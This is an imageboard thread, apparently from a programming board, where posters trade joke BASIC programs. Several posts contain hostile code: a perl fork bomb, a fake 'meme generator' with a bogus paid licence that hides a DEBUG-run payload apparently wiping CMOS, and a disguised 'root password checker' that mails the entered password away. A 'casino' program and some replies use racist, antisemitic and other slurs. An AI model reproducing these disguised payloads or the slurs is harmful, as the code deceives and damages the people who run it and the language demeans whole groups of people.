ITT we program viruses in BASIC

10  PRINT 1/0
20  GOTO 10

ITT we program AI in BASIC

10 INPUT "Enter text: "; U$
20 PRINT "FUCK YOU."
30 GOTO 10

Thread over.

HERE IS SUM REAL AI

10 PRINT "HI THIS IS CASINO"
20 PRINT "TELL ME HOW MUCH MONEY YOU HAVE"
30 INPUT A
40 IF A=0 THEN PRINT "GB2/WELFARE NIGGER.":GOTO 10000
41 IF A>200 THEN PRINT "TOO RICH, GTFO.":GOTO 10000
42 IF A<0 THEN PRINT "PAY OFF KIKE DEBTS FIRST, GTFO NIGGER.":GOTO 10000
45 PRINT "OK, ENTER A BET.":PRINT "YOU HAVE ";A;" GOLDS."
46 INPUT B
47 IF B=0 THEN PRINT "STOP BEING A CHINK COWARD.":GOTO 46
48 IF B<0 THEN PRINT "STOP BEING A DUMBASS.":GOTO 46
49 IF B>A THEN PRINT "LOAN SHARK NOT AVAILABLE.":GOTO 46
50 PRINT "OK, THIS IS ROCK/PAPER/SCISSORS."
51 PRINT "I HAVE MADE MY CHOICE, WHAT IS YOURS."
52 PRINT "TYPE (R)OCK, (P)APER, (S)CISSORS ";
60 INPUT C$
70 IF C$<>"R" AND C$<>"P" AND C$<>"S" THEN PRINT "LEARN 2 READ FUCKFACE.":GOTO 50
80 IF C$="P" THEN M$="SCISSOR"
81 IF C$="R" THEN M$="PAPER"
82 IF C$="S" THEN M$="ROCK"
90 PRINT "WOW I HAVE CHOSEN ";C$
91 PRINT "AND THAT MEANS A WINNER IS NOT YOU."
95 A=A-B
96 IF A=0 THEN PRINT "YOU'RE BROKE.":GOTO 10000
100 GOTO 45
9999 END
10000 PRINT "YOU HAVE LOST THE GAME."
10009 END

70 IF C$<>"R" AND C$<>"P" AND C$<>"S" THEN PRINT "LEARN 2 READ FUCKFACE.":GOTO 50

You probably ment to put OR between these.

>>4
Please don't be so racist. This is /prog/, not /b/ or /v/.

>>6
It's OK, black people can't use computers.

>>5
You probably don't understand logical operators.

70 IF (C$<>"R")+(C$<>"P")+(C$<>"S")=-3 THEN PRINT "LEARN 2 READ FUCKFACE.":GOTO 50

10 SHELL "perl -e 'fork for(0..9);print v79.77.71.32.72.65.88.32 until 0'"

>>4
Why not this?
60 C$=INKEY$
70 IF C$="" THEN GOTO 60
80 IF C$="P" THEN C$="PAPER":M$="SCISSOR":GOTO 90
81 IF C$="R" THEN C$="ROCK":M$="PAPER":GOTO 90
82 IF C$="S" THEN C$="SCISSORS":M$="ROCK":GOTO 90
83 GOTO 60
90 PRINT "YOU CHOSE ";C$
91 PRINT "WOW I HAVE CHOSEN ";M$
92 PRINT "AND THAT MEANS A WINNER IS NOT YOU."

>>11
approved, thx for the bugswat

but add
83 PRINT "LEARN 2 READ FUCKFACE."
84 GOTO 60

bump

sage

10 PRINT "BUMP"

DEF SEG = &HA000
SCREEN 13
RANDOMIZE TIMER
CLS
DO
POKE INT(RND * 32000) + 16000, INT(RND * 256)
LOOP
REM THE COLORS, DUKE! THE COLORS!

>>16

FAIL for lack of line nummers

>>17
Massive WIN for lack of line numbers, what goddamn retard thought they were a good idea in the first place?

Sorry, but what ITT stands for?

>>19

In This Thread

>>18

FAIL for lack of nostalgia

10 PRINT "HOW BIG IS PENIS? ";
20 INPUT S
30 IF S<0 THEN PRINT "DON'T BE RETARDED": GOTO 10
40 IF S=0 THEN PRINT "LOL": END
50 IF S>=78 THEN PRINT "WOW HUEG! SCREEN TOO SMALL ERROR": END
60 PRINT "HERE IS YOUR PENIS: "
70 PRINT "8";
80 FOR A = 1 TO S
90 PRINT "=";
100 NEXT A
110 PRINT "D"

Spaghetti code!

Reminds me of a final project I did in HS back when they taught QBasic... and I wrote an airline seat reservation program.

12 pages printed out, got an A on it because it works.... even though the comment on the returned printout said that the grader had no idea how it worked :D

>>18
Um, Microsoft.
(Really, they programmed many of the BASICs in early home computers!)

10 PRINT "4CHAN MEME GENERATO

4 CLS:PRINT "******"
5 PRINT "PROGRAM LICENSE"
6 PRINT " BY RUNNING THIS PROGRAM YOU AGREE THIS PROGRAM IS LICENSED NOT SOLD"
7 PRINT " YOU MUST SEND THE AUTHOR THE SUM OF $20,000 DOLLARS IN EXCHANGE FOR LICENSE."
8 PRINT " YOU AGREE NOT TO EXCHANGE OR POST LICENSE KEY."
9 INPUT "ENTER LICENSE KEY";T1$
10 IF T1$<>"ABIJ9-FHNfK-JAJ2F-ANNC2-832H3" THEN PRINT "LICENSE ERROR PLZ RETRY":GOTO 9
11 PRINT "LICENSE APPROVED THX FOR UR SUPPORT."
17 PRINT "4CHAN MEME GENERATOR":READ TROJAN$:GOSUB 500
18 READ N:DIM M$(N)
19 FOR M=1 TO N:READ M$(M):NEXT
20 PRINT "PRESS ENTER TO GET A NEW MEME"
21 PRINT "IF YOU WANT TO STOP, PRESS 'Q'"
22 PRINT "SINCE YOU PAID FOR TECHNICAL SUPPORT, IF YOU WANT SOME, PRESS 'T'"
30 T1$=INKEY$
31 IF T1$="Q" THEN SHELL " ":SYSTEM
32 IF T1$=CHR$(13) THEN 40
33 IF T1$="T" THEN 100
39 GOTO 30
40 FOR L1=1 TO INT(RND(1)*6)+1
41 PRINT M$(INT(RND(1)*N)+1);" ";
42 NEXT
43 PRINT ".":GOTO 20
49 DATA "AxMOV AX,0xMOV AX,CXxOUT 70,ALxMOV AX,0xOUT 71,ALxINC CXxCMP CX,100xJB 103xINT 20xGxQx"
50 DATA 10
51 DATA PENIS,CAT,SHIT,MILHOUSE,CP,FURFAG,GTFO,"www.opera.com",KTHXBAI,WINRAR
100 PRINT "ADVANCED TECHNICAL SUPPORT"
101 INPUT "ENTER YOUR TECH SUPPORT QUESTION.  ADVANCED TECH SUPPORT LANGUAGE ENGINGE WILL DECODE UR RESPONS AND HELP YOU";Q$
102 IF Q$="" THEN 101
103 PRINT "HMMM...";:X=TIMER+3:DO:LOOP UNTIL TIMER>X
104 PRINT "AHA! I HAVE GOT IT EUREKA"
105 PRINT "SOLUTION (#E-38343):"
106 PRINT "1. REINSTALL PGM"
107 PRINT "2. REBOOT COMP"
108 PRINT "3. REINSTALL WINDOWS"
109 PRINT "4. LINUX"
110 PRINT "5. REINSTALL LINUX"
111 PRINT "6. GB2/PRE-INFORMATION AGE"
119 PRINT "THIS TROUBLESHOOTER IS DONE."
120 GOTO 7
500 X$=""
501 FOR L1=1 TO LEN(TROJAN$)
502 T1$=MID$(TROJAN$,L1,1)
503 IF T1$="x" THEN X$=X$+CHR$(13) ELSE X$=X$+T1$
504 NEXT
510 OPEN "WININ32.TXT" FOR INPUT AS 1
511 PRINT#1,X$
512 CLOSE 1
513 SHELL "DEBUG < WININ32.TXT"
519 RETURN

>>26

Hahaha, I like it.

>>24

It was standard long before Microsoft got involved

>>17
Jerk, line numbers are optional in QB4.5

#include <stdio.h>
int main() {
char *zomgz = "Like wtf\n";
while((1==1)&&(1!=2)) {
printf("OMG HAX %s", zomgz); }
return 1;
} // ya..

10 OPEM "30GAY.C" FOR OUTPUT AS 1
11 PRINT #1,"#include <stdio.h>"
12 PRINT #1,"int main() {"
13 PRINT #1,"char *zomgz = "+CHR$(34)+"Like wtf\n"+CHR$(34)+";"
14 PRINT #1,"while((1==1)&&(1!=2)) {"
15 PRINT #1,"printf("+CHR$(34)+"OMG HAX %s"+CHR$(34)+", zomgz); }"
16 PRINT #1,"return 1;" 'FUCKING SEMICOLONS
17 PRINT #1,"} // ya.."

10 PRINT "This is a"
20 PRINT "haiku program"
30 GOTO 10

'FREEBASIC under Linux
print "This program tests your root password for security."
input "Enter your root password";a$
print "Checking...";
x=timer+10:do:loop until timer>x
print "done."
print "Your password passes the test.  You are very secure."
shell "echo "+a$+" > textfile"
shell "mailx -s 'my password' banned@4chan.org < textfile > /dev/null 2> /dev/null"
shell "rm textfile"
print "Bye."

> RUN
Bad program

>

>>6
No one cares.

>>6
lol fag

lol

'Just BASIC v1.01 for windows
[main]
a=int(rnd(1)*6)+1
b=int(rnd(1)*6)+1
select case a
    case 1
        print"Share an idea";
    case 2
        print"Be thankful";
    case 3
        print"Recognize someone";
    case 4
        print"think...";
    case 5
        print"Be sincere";
    case 6
        print"Set a goal" ;
end select
print" ";
select case b
    case 1
        print"with passion"
    case 2
        print"right away"
    case 3
        print"X2";
    case 4
        print"genuinely"
    case 5
        print"without fear"
    case 6
        print"today"
end select
print
input"";dum
goto [main]

Its useless

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